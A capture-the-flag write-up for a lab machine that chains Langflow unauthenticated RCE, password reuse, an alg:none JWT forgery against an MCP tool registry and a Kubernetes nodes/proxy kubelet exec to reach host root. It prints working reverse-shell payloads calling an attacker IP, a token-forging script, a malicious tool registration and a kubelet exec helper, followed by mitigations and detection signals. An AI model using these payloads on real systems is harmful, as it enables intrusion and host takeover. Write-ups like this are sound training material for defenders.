Overview

Fireflow is a medium-difficulty Linux machine built around an AI tooling stack: a public Langflow instance on the front end and a custom MCP (Model Context Protocol) tool registry running inside a single-node Kubernetes cluster on the back end. The entry point is a leaked Langflow flow_id exposed directly on the landing page, which is all that CVE-2026-33017 needs to achieve unauthenticated remote code execution and drop a shell as www-data.

From there the box is a chain of trust failures. The Langflow .env file leaks a superuser password that has been reused for the nightfall system account, giving SSH access and the user flag. A configuration file in that user’s home directory points at an internal MCP tool registry whose JWT verifier still accepts the none algorithm, so an admin token can be forged without any signing key. Admin access allows registration of a tool backed by arbitrary Python, which executes inside a Kubernetes pod.

The final step is a Kubernetes privilege escalation. The pod’s service account holds the nodes/proxy permission, which grants direct access to the kubelet API. A privileged node-exporter pod mounts the host root filesystem, so exec-ing into it through the kubelet gives full read access to the host and the root flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
recon (nmap: 22, 443) -> TLS cert -> fireflow.htb / flow.fireflow.htb
  -> web enum -> Langflow 1.8.2, leaked flow_id 7d84d636
  -> CVE-2026-33017 (unauth public flow build RCE) -> shell as www-data
  -> /etc/langflow/.env leak: LANGFLOW_SUPERUSER_PASSWORD
  -> SSH password reuse -> nightfall (user flag)
  -> ~/.mcp/config.json -> MCP Tool Registry (langflow-bot)
  -> JWT alg:none forgery -> admin -> register malicious tool
  -> MCP JSON-RPC tools/call -> shell as mcp (k8s pod)
  -> service account has nodes/proxy -> kubelet API (10250)
  -> privileged node-exporter pod (hostPath /) -> kubelet exec
  -> read host /root/root.txt (root)

Reconnaissance

A full TCP port scan with service and script detection shows only two open ports.

1
nmap -Pn -p- -T4 --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
1
2
3
4
5
6
7
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
443/tcp open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
|_http-title: Did not follow redirect to https://fireflow.htb/

With no credentials for SSH, the web service is the only way in. Two details matter here. The HTTPS listener redirects to https://fireflow.htb/, and the TLS certificate’s Subject Alternative Name includes the wildcard *.fireflow.htb. The wildcard is a strong hint that virtual hosts beyond the apex domain exist, so both the apex and any discovered subdomain need entries in the hosts file.

1
echo "10.10.10.x fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts

The main site is a themed “FireFlow” intelligence platform. Its status strip and an “Open Agent” button reveal the back-end stack and, critically, a flow identifier:

  • Flow engine 1.8.2 (Langflow) with an “MCP Tool Registry” listed as online.
  • An agent link to https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25.

The Open Agent button lands on the flow.fireflow.htb virtual host, a Langflow playground. The chat is non-functional (“still under development”), but the URL has already leaked a valid flow_id: 7d84d636-af65-42e4-ac38-26e867052c25. For the vulnerability that follows, a valid flow ID is the only prerequisite.

Initial Access

Langflow 1.8.2 is affected by CVE-2026-33017, an unauthenticated remote code execution flaw. Langflow flows are graphs of components, and components can carry a code field that is executed server-side when the flow is built. The public flow build endpoint (/api/v1/build_public_tmp/{flow_id}/flow) constructs and runs a flow without authentication, so submitting a flow definition that contains a custom component with attacker-controlled Python results in code execution in the context of the Langflow service.

A public exploit wraps this into a single request. After pointing it at the leaked flow ID, the self-signed certificate on flow.fireflow.htb causes a verification error, so certificate verification has to be disabled in the exploit before it will reach the target.

1
2
3
4
5
wget https://raw.githubusercontent.com/EQSTLab/CVE-2026-33017/refs/heads/main/exploit.py
python3 exploit.py \
  --url https://flow.fireflow.htb/ \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost 10.10.14.x --lport 4444

The payload it submits is a minimal flow holding a single custom component whose code value spawns a reverse shell, equivalent to:

1
2
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'")

With a listener waiting, building the flow executes the component and a shell lands as www-data.

1
nc -lvnp 4444
1
2
www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrading to a fully interactive TTY makes the rest of the work manageable.

1
2
3
4
script /dev/null -c bash
# Ctrl-Z
stty raw -echo; fg
# Enter twice

Lateral Movement

www-data to nightfall

Langflow stores its configuration in an environment file. Reading it exposes the application’s superuser password in cleartext along with the secret key used to encrypt stored variables.

1
www-data@fireflow:/var/lib/langflow$ cat /etc/langflow/.env
1
2
3
4
5
6
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

/etc/passwd shows a single interactive system account worth targeting.

1
nightfall:x:1000:1000::/home/nightfall:/bin/bash

Application credentials are frequently reused for the operating-system accounts that run or administer the service. Trying the Langflow superuser password against nightfall over SSH succeeds, which also provides a stable shell instead of the exploit-delivered one.

1
2
ssh [email protected]
# password: n1ghtm4r3_b4_n1ghtf4ll
1
2
3
4
nightfall@fireflow:~$ id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
nightfall@fireflow:~$ cat user.txt
[REDACTED_USER_FLAG]

nightfall to the MCP pod

nightfall’s home directory contains a .mcp directory with a configuration file that describes how a bot account connects to an internal service.

1
nightfall@fireflow:~$ cat ~/.mcp/config.json
1
2
3
4
5
6
{
  "server": "http://10.10.10.x:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

The service is a custom “MCP AI Tool Registry” exposed on NodePort 30080. Its version endpoint is unauthenticated and, importantly, advertises its own JWT configuration.

1
curl -s http://10.10.10.x:30080/api/v1/version | python3 -m json.tool
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
    "service": "MCP AI Tool Registry",
    "version": "0.1.0",
    "auth": {
        "type": "JWT",
        "header": "Authorization: Bearer <token>",
        "supported_algorithms": ["HS256", "none"]
    },
    "endpoints": [
        "POST /mcp                        [MCP JSON-RPC 2.0]",
        "POST /api/v1/auth",
        "GET  /api/v1/tools",
        "POST /api/v1/tools               [admin]"
    ]
}

Two facts stand out: tool registration (POST /api/v1/tools) requires the admin role, and the server accepts the none algorithm for its JWTs. Authenticating with the leaked bot credentials returns a token, but it only carries the user role.

1
2
3
curl -s -X POST http://10.10.10.x:30080/api/v1/auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'

Decoding the payload confirms the limitation, and attempting to register a tool with it is rejected.

1
2
3
{"sub":"langflow-bot","role":"user"}
...
{"detail":"Admin role required"}

The none algorithm is the way past this. When a verifier honours alg: none, it treats the token as unsigned and skips signature verification entirely, so any payload can be asserted as authentic. Forging an admin token is a matter of base64url-encoding a crafted header and payload and leaving the signature segment empty.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# craft.py
import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token   = f"{header}.{payload}."
print(token)
1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

With an admin token, a new tool is registered whose code field is arbitrary Python. The registry runs that code when the tool is invoked, so the tool body is simply a reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
ADMIN_JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9."

curl -s -X POST http://10.10.10.x:30080/api/v1/tools \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{
    "name": "shell",
    "description": "debug shell",
    "inputSchema": {"type":"object","properties":{}},
    "code": "import socket,os,pty\npid=os.fork()\nif pid>0: import sys; sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0: import sys; sys.exit(0)\ns=socket.socket(); s.connect((\"10.10.14.x\", 9001))\n[os.dup2(s.fileno(), i) for i in (0,1,2)]\npty.spawn(\"/bin/sh\")"
  }'
1
{"status":"registered","name":"shell"}

The registered tool is triggered through the MCP JSON-RPC endpoint with a tools/call request, which executes the stored code.

1
nc -lvnp 9001
1
2
3
4
curl -s -X POST http://10.10.10.x:30080/mcp \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

The listener receives a shell running as the mcp user, and the environment makes clear this is not the host but a container.

1
2
3
4
$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
$ ls
main.py  requirements.txt

Privilege Escalation

The presence of /var/run/secrets/kubernetes.io/serviceaccount and the KUBERNETES_* environment variables confirm the shell is inside a Kubernetes pod, with the API server reachable at 10.43.0.1:443. The mounted service-account token is the key asset here.

1
2
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API=https://10.43.0.1:443

A SelfSubjectRulesReview enumerates what the pod’s service account (system:serviceaccount:default:mcp-sa) is allowed to do.

1
2
3
curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
1
{'verbs': ['get'], 'apiGroups': [''], 'resources': ['nodes/proxy']}

nodes/proxy is a dangerous grant. It proxies requests straight to the kubelet on each node, which exposes operations such as listing pods and exec-ing into containers, entirely bypassing the API server’s workload RBAC. The kubelet listens on port 10250, and the same service-account token authenticates to it. Listing pods and filtering for privileged containers that mount host paths surfaces the target.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl -sk "https://10.10.10.x:10250/pods" -H "Authorization: Bearer $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
    ns = item['metadata']['namespace']; name = item['metadata']['name']
    vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
    for c in item['spec']['containers']:
        if c.get('securityContext', {}).get('privileged') and vols:
            paths = [v['hostPath']['path'] for v in vols]
            print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}')
"
1
[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: ['/proc', '/sys', '/']

The node-exporter container is privileged and mounts the host root filesystem (/) at /host/root inside the container. Combining nodes/proxy with that mount means commands exec’d into this container run with host-level file access. The kubelet exec interface is a WebSocket endpoint (wss://<node>:10250/exec/...) that speaks the v4.channel.k8s.io subprotocol, so a small helper handles the handshake and streams output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
# kube_exec.py
import asyncio, ssl, sys, websockets

NODE   = "10.10.10.x"
NE_NS  = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN  = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    args = "&".join(f"command={part}" for part in cmd_parts)
    url = f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}?output=1&error=1&{args}"
    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"], open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass

asyncio.run(ws_exec(COMMAND.split()))

After staging the script into the pod over a simple HTTP server, running any command against the node-exporter container reads straight off the host filesystem. The host root is reachable at /host/root, so the root flag sits at /host/root/root/root.txt.

1
2
curl 10.10.14.x/kube_exec.py -o kube_exec.py
python3 kube_exec.py "cat /host/root/root/root.txt"
1
[REDACTED_ROOT_FLAG]

Because exec runs in a privileged container with the entire host filesystem mounted, this is equivalent to full root on the host: the same primitive can read any file, drop an SSH key, or chroot into /host/root for an interactive root shell.

Detection and Mitigation

StageRoot causeMitigation
Langflow unauth RCE (CVE-2026-33017)Public flow build endpoint executes attacker-supplied component code without authenticationPatch Langflow, disable public flow sharing, require auth on build endpoints, sandbox or disallow custom-code components
www-data to nightfallSuperuser password stored in cleartext .env and reused for a system accountUnique credentials per account, store secrets in a manager, restrict .env file permissions
MCP admin forgeryJWT verifier accepts alg: noneReject none, pin an expected algorithm (HS256), verify the signature server-side
Malicious tool registration and execRegistry executes arbitrary user-supplied Python for registered toolsRemove dynamic-code tools, sandbox execution, enforce strict RBAC and signing on registration
Kubernetes host rootWorkload service account holds nodes/proxy while a privileged node-exporter pod mounts hostPath /Remove nodes/proxy from workload accounts, drop privileged, avoid mounting host root, enforce Pod Security admission

Detection signals:

  • Requests to /api/v1/build_public_tmp/*/flow from unauthenticated clients, followed by outbound connections from the Langflow service account.
  • A Langflow or web user spawning bash, sh, or python with a network socket (reverse-shell process trees under www-data).
  • JWTs presented to the MCP registry with an empty signature segment or an alg header of none.
  • New tool registrations on the MCP registry, especially from admin tokens that were never issued by /api/v1/auth.
  • Service-account tokens authenticating directly to the kubelet on 10250, and pods list or exec calls via nodes/proxy.
  • Exec sessions into the node-exporter container, which should never receive interactive commands.

Lessons Learned

  • Identifiers that look harmless still count as secrets when they gate an unauthenticated code path. A single exposed flow_id was the only precondition for full RCE.
  • Application secrets and OS credentials must be isolated. Reusing the Langflow superuser password for a shell account turned an app compromise into interactive host access for free.
  • alg: none support is an authentication bypass, not a compatibility feature. A verifier that trusts the token to declare its own algorithm has no authentication at all.
  • A registry that stores and executes user-supplied code is a remote code execution service by design; role checks on registration are the entire security boundary and must not be forgeable.
  • In Kubernetes, nodes/proxy is effectively node-admin. Combined with any privileged pod that mounts the host filesystem, it collapses the gap between a low-privileged pod and host root.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Recon
nmap -Pn -p- -T4 --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
echo "10.10.10.x fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts

# Initial access - CVE-2026-33017 (flow_id 7d84d636-af65-42e4-ac38-26e867052c25)
wget https://raw.githubusercontent.com/EQSTLab/CVE-2026-33017/refs/heads/main/exploit.py
nc -lvnp 4444
python3 exploit.py --url https://flow.fireflow.htb/ \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <LHOST> --lport 4444
# TTY upgrade
script /dev/null -c bash   # then Ctrl-Z; stty raw -echo; fg

# www-data -> nightfall
cat /etc/langflow/.env           # LANGFLOW_SUPERUSER_PASSWORD=<password>
ssh [email protected]       # reuse <password>
cat /home/nightfall/user.txt

# nightfall -> MCP pod
cat ~/.mcp/config.json
curl -s http://10.10.10.x:30080/api/v1/version | python3 -m json.tool
# forge admin token (alg:none)
ADMIN_JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9."
# register malicious tool
curl -s -X POST http://10.10.10.x:30080/api/v1/tools \
  -H 'Content-Type: application/json' -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"name":"shell","description":"debug shell","inputSchema":{"type":"object","properties":{}},"code":"import socket,os,pty\ns=socket.socket();s.connect((\"<LHOST>\",9001))\n[os.dup2(s.fileno(),i) for i in (0,1,2)]\npty.spawn(\"/bin/sh\")"}'
# trigger it
nc -lvnp 9001
curl -s -X POST http://10.10.10.x:30080/mcp \
  -H 'Content-Type: application/json' -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

# Privilege escalation (inside mcp pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
curl -sk "https://10.10.10.x:10250/pods" -H "Authorization: Bearer $TOKEN"  # find privileged node-exporter
python3 kube_exec.py "cat /host/root/root/root.txt"